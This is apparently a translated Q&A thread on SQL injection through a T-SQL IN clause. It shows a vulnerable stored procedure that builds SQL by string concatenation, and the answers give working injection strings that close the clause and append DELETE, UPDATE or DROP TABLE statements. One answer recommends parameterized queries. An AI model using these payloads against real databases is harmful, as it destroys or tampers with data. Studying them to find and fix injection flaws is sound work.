SQL注入-在T-SQL IN中有效的子查询



我正在尝试学习一些SQL注入,并想问是否可以在SQL IN操作符内执行除选择以外的任何其他查询。

正常的IN操作符语法如下

select * from tableX where ID IN (select userId from tableY where colX='Y')

我想通过querystring传递sql stmt来删除表中的所有用户。

如果这个注入的sql是在一个IN操作符内执行的,这是可能的吗?

这就是我想要实现的

select * from tableX where ID IN (delete tableY) 

select * from tableX where ID IN (update tableX set ID=100 where 1=1)

select * from tableX where ID IN  (exec(N'delete tableY'))

我总是遇到奇怪的语法错误。可能这不是按照sql规范。但如果有人知道有效的子查询,这可能有助于我实现目标,请张贴。

编辑:应该还加上这个。

这个系统已经有了几个防御。

  1. 该值作为参数值传递给SP。

但总的来说有一个缺点

  1. 我看到我试图利用的唯一弱点是使用传入值在SP中构造sql字符串。

    set @where = @where + 'ID IN (' + @ htmlencodedparameterizedparam + ')

所以所有我必须打破这段代码是发送在只有一个纯sql字符串(没有;或),可以在IN操作符中使用。

编辑2:编码来验证@Dan的答案。无济于事。
Create procedure HackTest 
  @qsVal nvarchar(200) = ''
As
Begin 
    declare @sql as nvarchar(1000)
    set @sql = 'select * from AdventureWorks2008.Person.Person' + 'where PersontType IN (' + @qsVal + ')'
    exec sp_executesql @sql
end

下面是请求和MS Sql server profiler为这些请求捕获的内容

--http://localhost:11727/SampleSite/Default.aspx?a=NULL);delete%20tableY;--
exec hackTest @qsVal='NULL);delete tableY;--'
--http://localhost:11727/SampleSite/Default.aspx?a=NULL);update%20tableX%20set%20ID=100;--
exec hackTest @qsVal='NULL);update tableX set ID=100;--'

不,IN操作符只允许子查询或表达式列表:

test_expression [ NOT ] IN 
    ( subquery | expression [ ,...n ]
    ) 

所以这里不能使用DELETEUPDATE语句,只能使用SELECT语句。

然而,由于SQL Server支持批处理,你可以简单地在SELECT语句之后附加你自己的语句:

SELECT … ; DELETE …

您可以模拟多个查询,例如,这是您的查询,参数将在稍后由您的程序替换:

SELECT * FROM tableX WHERE ID IN (<somestring>)

如果你要用这个文本替换

1); DROP TABLE tableY;--

你会得到这样的可执行查询:

SELECT * FROM tableX WHERE ID IN (1); DROP TABLE tableY;--)

如果应用程序使用字符串连接构造SQL语句,如:

selectQuery = "select * from tableX where ID IN (" + queryString + ")";

这个特殊的SQL注入漏洞可以通过添加"NULL);"来利用,后面跟着要注入的SQL语句,然后是注释标记。查询字符串值示例:

NULL);delete tableY;--
NULL);update tableX set ID=100;--

当然,绝不应该通过查询字符串传递SQL语句。防止SQL注入的最佳方法是使用参数化查询,而不是使用来自不可信源的字符串连接构建语句。

最新更新